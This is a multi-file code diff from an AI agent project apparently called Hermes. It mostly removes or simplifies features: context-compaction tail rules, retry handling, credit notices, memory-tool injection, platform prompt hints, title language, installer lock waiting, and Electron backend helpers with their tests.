         Never cuts inside a tool_call/result group.  Always ensures the most
         recent user message is in the tail (see ``_ensure_last_user_message_in_tail``).
@@ -2036,19 +1845,8 @@ This compaction should PRIORITISE preserving all information related to the focu
         if token_budget is None:
             token_budget = self.tail_token_budget
         n = len(messages)
-        # Hard minimum: always keep a bounded recent-message floor in the tail.
-        # ``protect_last_n`` remains a minimum up to the cap; the cap avoids
-        # preserving a whole run of bulky tool outputs on every compaction.
-        available_tail = max(0, n - head_end - 1)
-        min_tail_floor = max(3, min(self.protect_last_n, _MAX_TAIL_MESSAGE_FLOOR))
-        # Leave at least two non-head messages available to summarize on short
-        # transcripts; otherwise compression can replace a tiny middle with a
-        # summary and save no messages at all.
-        compressible_tail_cap = max(3, available_tail - 2)
-        min_tail = (
-            min(min_tail_floor, compressible_tail_cap, available_tail)
-            if available_tail > 1 else 0
-        )
+        # Hard minimum: always keep at least 3 messages in the tail
+        min_tail = min(3, n - head_end - 1) if n - head_end > 1 else 0
         soft_ceiling = int(token_budget * 1.5)
         accumulated = 0
         cut_idx = n  # start from beyond the end
@@ -2120,13 +1918,6 @@ This compaction should PRIORITISE preserving all information related to the focu
         # active task is never lost to compression (fixes #10896).
         cut_idx = self._ensure_last_user_message_in_tail(messages, cut_idx, head_end)
 
-        # Ensure the most recent assistant message is always in the tail
-        # so the previously-visible reply isn't silently rolled into the
-        # ``[CONTEXT COMPACTION — REFERENCE ONLY]`` block (fixes #29824).
-        # Each anchor only walks ``cut_idx`` backward, so chaining them is
-        # monotonic — the tail can only grow, never shrink.
-        cut_idx = self._ensure_last_assistant_message_in_tail(messages, cut_idx, head_end)
-
         return max(cut_idx, head_end + 1)
 
     # ------------------------------------------------------------------
@@ -2279,8 +2070,7 @@ This compaction should PRIORITISE preserving all information related to the focu
             )
 
         # Phase 3: Generate structured summary
-        summary_focus_topic = focus_topic or self._derive_auto_focus_topic(messages)
-        summary = self._generate_summary(turns_to_summarize, focus_topic=summary_focus_topic)
+        summary = self._generate_summary(turns_to_summarize, focus_topic=focus_topic)
 
         # If summary generation failed, behavior splits on
         # ``abort_on_summary_failure`` (config: compression.abort_on_summary_failure):
@@ -2360,33 +2150,32 @@ This compaction should PRIORITISE preserving all information related to the focu
 
         # When the summary lands as a standalone role="user" message,
         # weak models read the verbatim "## Active Task" quote of a past
-        # user request as fresh input (#11475, #14521).
-        # When it lands as role="assistant", models may regurgitate the
-        # summary text as their own output (#33256). In both cases, append
-        # the explicit end marker so the model has a clear "summary ends
-        # here, respond to the message below" signal.
-        if not _merge_summary_into_tail:
-            summary = summary + "\n\n" + _SUMMARY_END_MARKER
+        # user request as fresh input (#11475, #14521). Append the explicit
+        # end marker — the same one used in the merge-into-tail path — so
+        # the model has a clear "summary above, not new input" signal.
+        if not _merge_summary_into_tail and summary_role == "user":
+            summary = (
+                summary
+                + "\n\n--- END OF CONTEXT SUMMARY — "
+                "respond to the message below, not the summary above ---"
+            )
 
         if not _merge_summary_into_tail:
-            compressed.append({
-                "role": summary_role,
-                "content": summary,
-                COMPRESSED_SUMMARY_METADATA_KEY: True,
-            })
+            compressed.append({"role": summary_role, "content": summary})
 
         for i in range(compress_end, n_messages):
             msg = messages[i].copy()
             if _merge_summary_into_tail and i == compress_end:
-                merged_prefix = summary + "\n\n" + _SUMMARY_END_MARKER + "\n\n"
+                merged_prefix = (
+                    summary
+                    + "\n\n--- END OF CONTEXT SUMMARY — "
+                    "respond to the message below, not the summary above ---\n\n"
+                )
                 msg["content"] = _append_text_to_content(
                     msg.get("content"),
                     merged_prefix,
                     prepend=True,
                 )
-                # Mark the merged message so frontends can identify it as
-                # containing a compression summary prefix.
-                msg[COMPRESSED_SUMMARY_METADATA_KEY] = True
                 _merge_summary_into_tail = False
             compressed.append(msg)
 

agent/conversation_loop.py

@@ -595,11 +595,7 @@ def run_conversation(
         # landed after an orphan tool result). Most providers return
         # empty content on malformed sequences, which would otherwise
         # retrigger the empty-retry loop indefinitely.
-        # repair_message_sequence_with_cursor also recomputes the SessionDB
-        # flush cursor (_last_flushed_db_idx) when repair compacts the list,
-        # so the turn-end flush doesn't skip the assistant/tool chain (#44837).
-        from agent.agent_runtime_helpers import repair_message_sequence_with_cursor
-        repaired_seq = repair_message_sequence_with_cursor(agent, messages)
+        repaired_seq = agent._repair_message_sequence(messages)
         if repaired_seq > 0:
             request_logger.info(
                 "Repaired %s message-alternation violations before request (session=%s)",
@@ -2635,13 +2631,10 @@ def run_conversation(
                     except Exception:
                         pass
                     if _genuine_nous_rate_limit:
-                        # Re-enter the loop exactly once so the
-                        # top-of-loop Nous guard handles fallback or
-                        # bails cleanly. (Setting retry_count to
-                        # max_retries would make the while condition
-                        # false immediately and the guard would never
-                        # run -- no fallback, generic exhaustion error.)
-                        retry_count = max(0, max_retries - 1)
+                        # Skip straight to max_retries -- the
+                        # top-of-loop guard will handle fallback or
+                        # bail cleanly.
+                        retry_count = max_retries
                         continue
                     # Upstream capacity 429: fall through to normal
                     # retry logic.  A different model (or the same

agent/credits_tracker.py

@@ -286,16 +286,6 @@ def evaluate_credits_notices(
         for band in CREDITS_USAGE_BANDS:  # ascending → last match wins = highest
             if uf >= band[0]:
                 current_band = band
-    # Top-up suppression: when the account holds purchased (top-up) credits,
-    # the subscription-cap gauge is the wrong denominator — warning "90% used"
-    # at a user sitting on $50 of top-up is noise (and it previously stuck
-    # PERMANENTLY alongside grant_spent at >=100%). Suppress the usage band
-    # entirely; the cap-reached case is covered by the grant_spent info notice
-    # below, which already names the remaining top-up balance. A top-up landing
-    # mid-session flips current_band → None and the clear path below removes
-    # any showing band line.
-    if state.purchased_micros > 0:
-        current_band = None
     grant_cond = (
         state.denominator_kind == "subscription_cap"
         and uf is not None
@@ -355,7 +345,7 @@ def evaluate_credits_notices(
     if show_depleted and "credits.depleted" not in active:
         to_show.append(
             AgentNotice(
-                text="✕ Credit access paused · run /credits to top up",
+                text="✕ Credit access paused · run /usage for balance",
                 level="error",
                 kind=CREDITS_NOTICE_KIND,
                 key="credits.depleted",

agent/gemini_native_adapter.py

@@ -330,7 +330,7 @@ def _build_gemini_contents(messages: List[Dict[str, Any]]) -> tuple[List[Dict[st
     system_instruction = None
     joined_system = "\n".join(part for part in system_text_parts if part).strip()
     if joined_system:
-        system_instruction = {"role": "system", "parts": [{"text": joined_system}]}
+        system_instruction = {"parts": [{"text": joined_system}]}
     return contents, system_instruction
 
 

agent/memory_manager.py

@@ -44,66 +44,6 @@ logger = logging.getLogger(__name__)
 _SYNC_DRAIN_TIMEOUT_S = 5.0
 
 
-def memory_provider_tools_enabled(enabled_toolsets: Optional[List[str]]) -> bool:
-    """Return whether external memory-provider tools should be exposed."""
-    if enabled_toolsets is None:
-        return True
-    if not enabled_toolsets:
-        return False
-    if "memory" in enabled_toolsets:
-        return True
-
-    try:
-        from toolsets import resolve_toolset
-
-        return any("memory" in resolve_toolset(name) for name in enabled_toolsets)
-    except Exception:
-        logger.debug("Failed to resolve enabled toolsets for memory-provider tools", exc_info=True)
-        return False
-
-
-def inject_memory_provider_tools(agent: Any) -> int:
-    """Append external memory-provider tool schemas to an agent tool surface."""
-    memory_manager = getattr(agent, "_memory_manager", None)
-    tools = getattr(agent, "tools", None)
-    if not memory_manager or tools is None:
-        return 0
-
-    existing_tool_names = {
-        tool.get("function", {}).get("name")
-        for tool in tools
-        if isinstance(tool, dict)
-    }
-    if (
-        "memory" not in existing_tool_names
-        and not memory_provider_tools_enabled(getattr(agent, "enabled_toolsets", None))
-    ):
-        return 0
-
-    get_schemas = getattr(memory_manager, "get_all_tool_schemas", None)
-    if not callable(get_schemas):
-        return 0
-
-    valid_tool_names = getattr(agent, "valid_tool_names", None)
-    if valid_tool_names is None:
-        valid_tool_names = set()
-        agent.valid_tool_names = valid_tool_names
-
-    added = 0
-    for schema in get_schemas():
-        if not isinstance(schema, dict):
-            continue
-        tool_name = schema.get("name", "")
-        if not tool_name or tool_name in existing_tool_names:
-            continue
-        tools.append({"type": "function", "function": schema})
-        valid_tool_names.add(tool_name)
-        existing_tool_names.add(tool_name)
-        added += 1
-
-    return added
-
-
 # ---------------------------------------------------------------------------
 # Context fencing helpers
 # ---------------------------------------------------------------------------

agent/moonshot_schema.py

@@ -135,14 +135,7 @@ def _repair_schema(node: Any, is_schema: bool = True) -> Any:
 
 def _fill_missing_type(node: Dict[str, Any]) -> Dict[str, Any]:
     """Infer a reasonable ``type`` if this schema node has none."""
-    node_type = node.get("type")
-    if isinstance(node_type, list):
-        concrete = next(
-            (t for t in node_type if isinstance(t, str) and t not in {"", "null"}),
-            "string",
-        )
-        return {**node, "type": concrete}
-    if "type" in node and node_type not in {None, ""}:
+    if "type" in node and node["type"] not in {None, ""}:
         return node
 
     # Heuristic: presence of ``properties`` → object, ``items`` → array, ``enum``

agent/prompt_builder.py

@@ -489,35 +489,15 @@ PLATFORM_HINTS = {
         "files arrive as downloadable documents. You can also include image "
         "URLs in markdown format ![alt](url) and they will be sent as photos."
     ),
-    "whatsapp_cloud": (
-        "You are on a text messaging communication platform, WhatsApp "
-        "(via Meta's official Business Cloud API). Standard markdown "
-        "(**bold**, ~~strike~~, # headers, [links](url)) is auto-converted "
-        "to WhatsApp's native syntax (*bold*, ~strike~, etc.) — feel free "
-        "to write in markdown. Tables are NOT supported — prefer bullet "
-        "lists or labeled key:value pairs. "
-        "You can send media files natively: include MEDIA:/absolute/path/to/file "
-        "in your response. Images (.jpg, .png) become photo attachments, "
-        "videos (.mp4) play inline, audio (.mp3, .ogg) sends as voice/audio "
-        "messages, other files arrive as documents. Image URLs in markdown "
-        "format ![alt](url) also work. "
-        "IMPORTANT: this platform has a 24-hour conversation window — if the "
-        "user hasn't messaged in 24h, free-form replies are refused by Meta "
-        "(error 131047). This rarely matters for live chat, but is worth "
-        "knowing if you're scheduling a delayed message."
-    ),
     "telegram": (
         "You are on a text messaging communication platform, Telegram. "
-        "Standard Markdown is automatically converted to Telegram formatting. "
+        "Standard markdown is automatically converted to Telegram format. "
         "Supported: **bold**, *italic*, ~~strikethrough~~, ||spoiler||, "
         "`inline code`, ```code blocks```, [links](url), and ## headers. "
-        "Telegram supports rich Markdown, so when it improves clarity you may "
-        "use headings, tables (pipe `| col | col |` syntax), task lists "
-        "(`- [ ]` / `- [x]`), nested blockquotes, collapsible details, "
-        "footnotes/references, math/formulas (`$...$`, `$$...$$`), underline, "
-        "subscript/superscript, marked (highlighted) text, and anchors. Prefer "
-        "real Markdown tables and task lists over hand-built bullet substitutes "
-        "when presenting structured data. "
+        "Telegram has NO table syntax — prefer bullet lists or labeled "
+        "key: value pairs over pipe tables (any tables you do emit are "
+        "auto-rewritten into row-group bullets, which you can produce "
+        "directly for cleaner output). "
         "You can send media files natively: to deliver a file to the user, "
         "include MEDIA:/absolute/path/to/file in your response. Images "
         "(.png, .jpg, .webp) appear as photos, audio (.ogg) sends as voice "
@@ -1438,13 +1418,13 @@ def build_nous_subscription_prompt(valid_tool_names: "set[str] | None" = None) -
 
     lines = [
         "# Nous Subscription",
-        "Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, OpenAI Whisper STT, and browser automation (Browser Use) by default. Modal execution is optional.",
+        "Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, and browser automation (Browser Use) by default. Modal execution is optional.",
         "Current capability status:",
     ]
     lines.extend(_status_line(feature) for feature in features.items())
     lines.extend(
         [
-            "When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, OpenAI Whisper, or Browser-Use API keys.",
+            "When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, or Browser-Use API keys.",
             "If the user is not subscribed and asks for a capability that Nous subscription would unlock or simplify, suggest Nous subscription as one option alongside direct setup or local alternatives.",
             "Do not mention subscription unless the user asks about it or it directly solves the current missing capability.",
             "Useful commands: hermes setup, hermes setup tools, hermes setup terminal, hermes status.",

agent/title_generator.py

@@ -22,31 +22,9 @@ TitleCallback = Callable[[str], None]
 _TITLE_PROMPT = (
     "Generate a short, descriptive title (3-7 words) for a conversation that starts with the "
     "following exchange. The title should capture the main topic or intent. "
-    "Write the title in the same language the user is writing in. "
     "Return ONLY the title text, nothing else. No quotes, no punctuation at the end, no prefixes."
 )
 
-_TITLE_PROMPT_PINNED_LANGUAGE = (
-    "Generate a short, descriptive title (3-7 words) for a conversation that starts with the "
-    "following exchange. The title should capture the main topic or intent. "
-    "Write the title in {language}. "
-    "Return ONLY the title text, nothing else. No quotes, no punctuation at the end, no prefixes."
-)
-
-
-def _title_language() -> str:
-    """Return configured title language, or empty string to match the user."""
-    try:
-        from hermes_cli.config import load_config
-
-        return str(
-            ((load_config() or {}).get("auxiliary") or {})
-            .get("title_generation", {})
-            .get("language", "")
-        ).strip()
-    except Exception:
-        return ""
-
 
 def generate_title(
     user_message: str,
@@ -70,11 +48,8 @@ def generate_title(
     user_snippet = user_message[:500] if user_message else ""
     assistant_snippet = assistant_response[:500] if assistant_response else ""
 
-    language = _title_language()
-    prompt = _TITLE_PROMPT_PINNED_LANGUAGE.format(language=language) if language else _TITLE_PROMPT
-
     messages = [
-        {"role": "system", "content": prompt},
+        {"role": "system", "content": _TITLE_PROMPT},
         {"role": "user", "content": f"User: {user_snippet}\n\nAssistant: {assistant_snippet}"},
     ]
 

apps/bootstrap-installer/src-tauri/src/update.rs

@@ -3,9 +3,8 @@
 //! Driven when the installer is launched as `Hermes-Setup.exe --update` (see
 //! `AppMode` in lib.rs). The desktop app hands off to us — it exits, then we:
 //!
-//!   1. wait for the old Hermes desktop process to fully exit (so both the
-//!      venv shim and packaged app.asar are free; otherwise `hermes update`
-//!      or repair bootstrap can race locked files),
+//!   1. wait for the old Hermes desktop process to fully exit (so the venv
+//!      shim is free; otherwise `hermes update` aborts with exit code 2),
 //!   2. run `hermes update --yes --gateway` (Python/repo update; this does NOT
 //!      rebuild apps/desktop by design — see cmd_update in hermes_cli/main.py),
 //!   3. run `hermes desktop --build-only` (the rebuild step update skips),
@@ -39,8 +38,8 @@ use crate::events::{BootstrapEvent, LogStream, StageInfo, StageState};
 /// hermes_cli/main.py (sys.exit(2)). We surface a targeted message for this.
 const UPDATE_EXIT_CONCURRENT: i32 = 2;
 
-/// How long to wait for the old desktop process to release files under the
-/// install tree before giving up and letting `hermes update`'s own guard decide.
+/// How long to wait for the old desktop process to release the venv shim
+/// before giving up and letting `hermes update`'s own guard decide.
 const DESKTOP_EXIT_WAIT: Duration = Duration::from_secs(20);
 const DESKTOP_EXIT_POLL: Duration = Duration::from_millis(500);
 
@@ -151,10 +150,8 @@ async fn run_update(app: AppHandle) -> Result<()> {
     // ---- pre-step: wait for the old desktop to die -----------------------
     // The desktop exec'd us then called app.exit(), but process teardown is
     // async on Windows. If it still holds the venv shim, `hermes update`
-    // aborts with exit 2. If it still holds the packaged app.asar,
-    // install.ps1's repair/re-clone path cannot move/remove the install tree.
-    // Give both handles a bounded window to clear.
-    wait_for_install_locks_free(&install_root, &app, "update").await;
+    // aborts with exit 2. Give it a bounded window to clear.
+    wait_for_venv_free(&install_root, &app).await;
 
     // ---- stage 1: hermes update -----------------------------------------
     // Pass --branch so `hermes update` targets the branch this installer was
@@ -176,8 +173,8 @@ async fn run_update(app: AppHandle) -> Result<()> {
         vec!["update".into(), "--yes".into(), "--gateway".into()];
     // --force skips `hermes update`'s Windows running-exe guard (which would
     // `sys.exit(2)` and dead-end the handoff). By contract the desktop has
-    // already exited and waited for the install locks to clear before launching
-    // us, and wait_for_install_locks_free below force-kills any straggler — so by the
+    // already exited and waited for the venv shim to unlock before launching
+    // us, and wait_for_venv_free below force-kills any straggler — so by the
     // time `hermes update` runs there is no legitimate hermes.exe to protect,
     // and the guard would only produce a false "Hermes is still running" stop.
     update_args.push("--force".into());
@@ -394,57 +391,48 @@ async fn run_update(app: AppHandle) -> Result<()> {
     Ok(())
 }
 
-/// Poll until the venv shim AND packaged desktop app bundle are no longer locked
-/// (Windows) or a bounded timeout elapses. On non-Windows this is a short fixed
-/// grace since file locking isn't the failure mode there.
-pub(crate) async fn wait_for_install_locks_free(install_root: &Path, app: &AppHandle, stage: &str) {
-    let lock_targets = install_lock_probe_paths(install_root);
+/// Poll until the venv shim is no longer locked (Windows) or a bounded timeout
+/// elapses. On non-Windows this is a short fixed grace since file locking
+/// isn't the failure mode there.
+async fn wait_for_venv_free(install_root: &Path, app: &AppHandle) {
+    let shim = venv_hermes(install_root);
     let deadline = Instant::now() + DESKTOP_EXIT_WAIT;
 
-    emit_log(app, Some(stage), LogStream::Stdout, "[handoff] waiting for Hermes to exit…");
+    emit_log(app, Some("update"), LogStream::Stdout, "[update] waiting for Hermes to exit…");
 
     loop {
-        let locked = locked_paths(&lock_targets);
-        if locked.is_empty() {
+        if !is_locked(&shim) {
             return;
         }
         if Instant::now() >= deadline {
-            // Last resort: a backend hermes.exe (or the desktop Hermes.exe
-            // itself) is still holding one of the update-sensitive files. The
-            // desktop should have reaped its tree before handing off, but
-            // SIGTERM races / detached grandchildren / AV handles can leave a
-            // straggler. Rather than "proceed anyway" straight into uv's
-            // "Access is denied" or install.ps1's locked app.asar failure,
-            // force-kill every Hermes.exe except ourselves, then give the OS a
-            // beat to unload the image.
+            // Last resort: a backend hermes.exe (or a grandchild it spawned)
+            // is still holding the shim. The desktop should have reaped its
+            // tree before handing off, but SIGTERM races / detached
+            // grandchildren / AV handles can leave a straggler. Rather than
+            // "proceed anyway" straight into uv's "Access is denied", force-kill
+            // every hermes.exe except ourselves, then give the OS a beat to
+            // unload the image.
             emit_log(
                 app,
-                Some(stage),
+                Some("update"),
                 LogStream::Stdout,
-                &format!(
-                    "[handoff] Hermes still holding install files ({}); force-killing stragglers…",
-                    format_locked_paths(&locked)
-                ),
+                "[update] Hermes still holding the venv shim; force-killing stragglers…",
             );
             force_kill_other_hermes();
             tokio::time::sleep(Duration::from_millis(800)).await;
-            let locked_after_kill = locked_paths(&lock_targets);
-            if locked_after_kill.is_empty() {
+            if !is_locked(&shim) {
                 emit_log(
                     app,
-                    Some(stage),
+                    Some("update"),
                     LogStream::Stdout,
-                    "[handoff] install files freed after force-kill",
+                    "[update] venv shim freed after force-kill",
                 );
             } else {
                 emit_log(
                     app,
-                    Some(stage),
+                    Some("update"),
                     LogStream::Stdout,
-                    &format!(
-                        "[handoff] install files still locked ({}); proceeding (--force + quarantine will handle it)",
-                        format_locked_paths(&locked_after_kill)
-                    ),
+                    "[update] venv shim still locked; proceeding (--force + quarantine will handle it)",
                 );
             }
             return;
@@ -453,44 +441,13 @@ pub(crate) async fn wait_for_install_locks_free(install_root: &Path, app: &AppHa
     }
 }
 
-fn install_lock_probe_paths(install_root: &Path) -> Vec<PathBuf> {
-    let mut paths = vec![venv_hermes(install_root)];
-    paths.extend(desktop_app_payload_paths(install_root));
-    paths
-}
-
-fn desktop_app_payload_paths(install_root: &Path) -> Vec<PathBuf> {
-    let release = install_root.join("apps").join("desktop").join("release");
-    if cfg!(target_os = "windows") {
-        vec![
-            release.join("win-unpacked").join("resources").join("app.asar"),
-            release.join("win-arm64-unpacked").join("resources").join("app.asar"),
-        ]
-    } else if cfg!(target_os = "macos") {
-        vec![
-            release.join("mac").join("Hermes.app").join("Contents").join("Resources").join("app.asar"),
-            release.join("mac-arm64").join("Hermes.app").join("Contents").join("Resources").join("app.asar"),
-        ]
-    } else {
-        vec![release.join("linux-unpacked").join("resources").join("app.asar")]
-    }
-}
-
-fn locked_paths(paths: &[PathBuf]) -> Vec<PathBuf> {
-    paths.iter().filter(|p| is_locked(p)).cloned().collect()
-}
-
-fn format_locked_paths(paths: &[PathBuf]) -> String {
-    paths.iter().map(|p| p.display().to_string()).collect::<Vec<_>>().join(", ")
-}
-
 /// Force-kill any `hermes.exe` other than this process. Windows-only; a no-op
 /// elsewhere (POSIX has no mandatory-lock contention). We can't selectively
 /// target "the backend" by PID here — the desktop already exited and we never
 /// knew its children — so we kill the whole `hermes.exe` image tree via
 /// taskkill, excluding our own PID.
 ///
-/// Safe w.r.t. our own update child: this runs inside the install-lock wait,
+/// Safe w.r.t. our own update child: this runs inside `wait_for_venv_free`,
 /// which completes BEFORE we spawn `venv\Scripts\hermes.exe update`. At this
 /// point no update-driven hermes.exe exists yet, so the only hermes.exe images
 /// are stragglers from the old desktop — exactly what we want gone. (`/FI PID
@@ -934,29 +891,6 @@ mod tests {
         assert!(!is_locked(Path::new("/nonexistent/does/not/exist/xyz")));
     }
 
-    #[test]
-    fn lock_probe_paths_include_desktop_app_payload() {
-        let root = Path::new("/x/hermes-agent");
-        let probes = install_lock_probe_paths(root);
-
-        assert!(
-            probes.iter().any(|p| p == &venv_hermes(root)),
-            "venv shim remains part of the update lock probe"
-        );
-        assert!(
-            probes.iter().any(|p| p.ends_with(Path::new("resources/app.asar"))),
-            "packaged app.asar must be probed so repair/re-clone waits for the old desktop to exit"
-        );
-    }
-
-    #[test]
-    fn locked_paths_ignores_missing_payloads() {
-        let root = Path::new("/nonexistent/hermes-agent");
-        let probes = install_lock_probe_paths(root);
-
-        assert!(locked_paths(&probes).is_empty());
-    }
-
     #[test]
     fn parses_update_branch_from_space_or_equals_args() {
         assert_eq!(

apps/desktop/electron/backend-env.cjs

@@ -1,101 +0,0 @@
-const path = require('node:path')
-
-// Match the POSIX fallback surface used by the Python terminal environment.
-// macOS apps launched from Finder/Dock often inherit only /usr/bin:/bin:/usr/sbin:/sbin,
-// which misses Apple Silicon Homebrew and user-installed CLI tools such as codex.
-const POSIX_SANE_PATH_ENTRIES = Object.freeze([
-  '/opt/homebrew/bin',
-  '/opt/homebrew/sbin',
-  '/usr/local/sbin',
-  '/usr/local/bin',
-  '/usr/sbin',
-  '/usr/bin',
-  '/sbin',
-  '/bin'
-])
-
-function delimiterForPlatform(platform = process.platform) {
-  return platform === 'win32' ? ';' : ':'
-}
-
-function pathModuleForPlatform(platform = process.platform) {
-  return platform === 'win32' ? path.win32 : path.posix
-}
-
-function pathEnvKey(env = process.env, platform = process.platform) {
-  if (platform !== 'win32') return 'PATH'
-  return Object.keys(env || {}).find(key => key.toUpperCase() === 'PATH') || 'PATH'
-}
-
-function currentPathValue(env = process.env, platform = process.platform) {
-  const key = pathEnvKey(env, platform)
-  return env?.[key] || ''
-}
-
-function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) {
-  const seen = new Set()
-  const ordered = []
-
-  for (const entry of entries) {
-    if (!entry) continue
-    const parts = Array.isArray(entry) ? entry : String(entry).split(delimiter)
-    for (const part of parts) {
-      if (!part || seen.has(part)) continue
-      seen.add(part)
-      ordered.push(part)
-    }
-  }
-
-  return ordered.join(delimiter)
-}
-
-function buildDesktopBackendPath({
-  hermesHome,
-  venvRoot,
-  currentPath = '',
-  platform = process.platform,
-  pathModule = pathModuleForPlatform(platform)
-} = {}) {
-  const delimiter = delimiterForPlatform(platform)
-  const hermesNodeBin = hermesHome ? pathModule.join(hermesHome, 'node', 'bin') : null
-  const venvBin = venvRoot ? pathModule.join(venvRoot, platform === 'win32' ? 'Scripts' : 'bin') : null
-  const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES
-
-  return appendUniquePathEntries(
-    [hermesNodeBin, venvBin, currentPath, saneEntries],
-    { delimiter }
-  )
-}
-
-function buildDesktopBackendEnv({
-  hermesHome,
-  pythonPathEntries = [],
-  venvRoot,
-  currentEnv = process.env,
-  platform = process.platform,
-  pathModule = pathModuleForPlatform(platform)
-} = {}) {
-  const delimiter = delimiterForPlatform(platform)
-  const currentPythonPath = currentEnv?.PYTHONPATH || ''
-  const key = pathEnvKey(currentEnv, platform)
-
-  return {
-    PYTHONPATH: appendUniquePathEntries([...pythonPathEntries, currentPythonPath], { delimiter }),
-    [key]: buildDesktopBackendPath({
-      hermesHome,
-      venvRoot,
-      currentPath: currentPathValue(currentEnv, platform),
-      platform,
-      pathModule
-    })
-  }
-}
-
-module.exports = {
-  POSIX_SANE_PATH_ENTRIES,
-  appendUniquePathEntries,
-  buildDesktopBackendEnv,
-  buildDesktopBackendPath,
-  delimiterForPlatform,
-  pathEnvKey
-}

apps/desktop/electron/backend-env.test.cjs

@@ -1,95 +0,0 @@
-const test = require('node:test')
-const assert = require('node:assert/strict')
-const path = require('node:path')
-
-const {
-  POSIX_SANE_PATH_ENTRIES,
-  appendUniquePathEntries,
-  buildDesktopBackendEnv,
-  buildDesktopBackendPath,
-  pathEnvKey
-} = require('./backend-env.cjs')
-
-test('desktop backend PATH adds Hermes-managed bins and missing POSIX sane entries', () => {
-  const result = buildDesktopBackendPath({
-    hermesHome: '/Users/test/.hermes',
-    venvRoot: '/Users/test/.hermes/hermes-agent/venv',
-    currentPath: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin',
-    platform: 'darwin',
-    pathModule: path.posix
-  })
-
-  const entries = result.split(':')
-  assert.equal(entries[0], '/Users/test/.hermes/node/bin')
-  assert.equal(entries[1], '/Users/test/.hermes/hermes-agent/venv/bin')
-  assert.ok(entries.includes('/opt/homebrew/bin'), 'Apple Silicon Homebrew bin is added')
-  assert.ok(entries.includes('/opt/homebrew/sbin'), 'Apple Silicon Homebrew sbin is added')
-  assert.ok(entries.includes('/usr/local/sbin'), 'missing standard sbin is added')
-
-  for (const expected of POSIX_SANE_PATH_ENTRIES) {
-    assert.ok(entries.includes(expected), `${expected} should be present`)
-  }
-})
-
-test('desktop backend PATH preserves first occurrence and avoids duplicates', () => {
-  const result = buildDesktopBackendPath({
-    hermesHome: '/Users/test/.hermes',
-    venvRoot: '/Users/test/.hermes/hermes-agent/venv',
-    currentPath: '/opt/homebrew/bin:/usr/bin:/opt/homebrew/bin:/bin',
-    platform: 'darwin',
-    pathModule: path.posix
-  })
-
-  const entries = result.split(':')
-  assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1)
-  assert.ok(
-    entries.indexOf('/opt/homebrew/bin') < entries.indexOf('/opt/homebrew/sbin'),
-    'existing Homebrew bin keeps its precedence over appended missing sane entries'
-  )
-})
-
-test('buildDesktopBackendEnv extends PYTHONPATH and backend PATH together', () => {
-  const env = buildDesktopBackendEnv({
-    hermesHome: '/Users/test/.hermes',
-    pythonPathEntries: ['/repo/hermes-agent'],
-    venvRoot: '/Users/test/.hermes/hermes-agent/venv',
-    currentEnv: {
-      PATH: '/usr/bin:/bin',
-      PYTHONPATH: '/existing/pythonpath'
-    },
-    platform: 'darwin',
-    pathModule: path.posix
-  })
-
-  assert.equal(env.PYTHONPATH, '/repo/hermes-agent:/existing/pythonpath')
-  assert.ok(env.PATH.startsWith('/Users/test/.hermes/node/bin:/Users/test/.hermes/hermes-agent/venv/bin:'))
-  assert.ok(env.PATH.includes('/opt/homebrew/bin'))
-})
-
-test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => {
-  const env = buildDesktopBackendEnv({
-    hermesHome: 'C:\\Users\\test\\AppData\\Local\\hermes',
-    pythonPathEntries: ['C:\\repo\\hermes-agent'],
-    venvRoot: 'C:\\Users\\test\\AppData\\Local\\hermes\\hermes-agent\\venv',
-    currentEnv: {
-      Path: 'C:\\Windows\\System32;C:\\Windows',
-      PYTHONPATH: 'C:\\existing\\pythonpath'
-    },
-    platform: 'win32',
-    pathModule: path.win32
-  })
-
-  assert.equal(pathEnvKey({ Path: 'x' }, 'win32'), 'Path')
-  assert.equal(env.PATH, undefined)
-  assert.ok(env.Path.startsWith('C:\\Users\\test\\AppData\\Local\\hermes\\node\\bin;'))
-  assert.ok(env.Path.includes('\\venv\\Scripts;'))
-  assert.ok(env.Path.includes(';C:\\Windows\\System32;C:\\Windows'))
-  assert.equal(env.Path.includes('/opt/homebrew/bin'), false)
-})
-
-test('appendUniquePathEntries drops empty entries and keeps first occurrence', () => {
-  assert.equal(
-    appendUniquePathEntries([':/a::/b', ['/a', '/c']], { delimiter: ':' }),
-    '/a:/b:/c'
-  )
-})

apps/desktop/electron/backend-ready.cjs

@@ -1,66 +0,0 @@
-const _READY_RE = /^HERMES_DASHBOARD_READY port=(\d+)/m
-
-/**
- * Watch a child process's stdout for the `HERMES_DASHBOARD_READY port=<N>`
- * line that web_server.py prints after uvicorn binds its socket.
- *
- * Returns the parsed port. Rejects if:
- *   - the child exits before emitting the line
- *   - the child emits an `error` event
- *   - no line arrives within the timeout
- *
- * A single `cleanup()` tears down every listener (data/exit/error/timeout)
- * on every terminal path — resolve, reject, or timeout — so repeated
- * backend spawns don't leak listener slots on the child.
- */
-function waitForDashboardPort(child, timeoutMs = 45_000) {
-  return new Promise((resolve, reject) => {
-    let buf = ''
-    let done = false
-
-    function cleanup() {
-      if (done) return
-      done = true
-      clearTimeout(timer)
-      child.stdout.off('data', onData)
-      child.off('exit', onExit)
-      child.off('error', onError)
-    }
-
-    function onData(chunk) {
-      buf += chunk.toString()
-      let nl
-      while ((nl = buf.indexOf('\n')) !== -1) {
-        const line = buf.slice(0, nl)
-        buf = buf.slice(nl + 1)
-        const m = line.match(_READY_RE)
-        if (m) {
-          cleanup()
-          resolve(parseInt(m[1], 10))
-          return
-        }
-      }
-    }
-
-    function onExit(code, signal) {
-      cleanup()
-      reject(new Error(`Hermes backend: exited before port announcement (${signal || code})`))
-    }
-
-    function onError(err) {
-      cleanup()
-      reject(err)
-    }
-
-    const timer = setTimeout(() => {
-      cleanup()
-      reject(new Error(`Timed out waiting for Hermes backend port announcement (${timeoutMs}ms)`))
-    }, timeoutMs)
-
-    child.stdout.on('data', onData)
-    child.on('exit', onExit)
-    child.on('error', onError)
-  })
-}
-
-module.exports = { waitForDashboardPort }

apps/desktop/electron/dashboard-token.cjs

@@ -1,99 +0,0 @@
-/**
- * Helpers for local dashboard session-token discovery.
- *
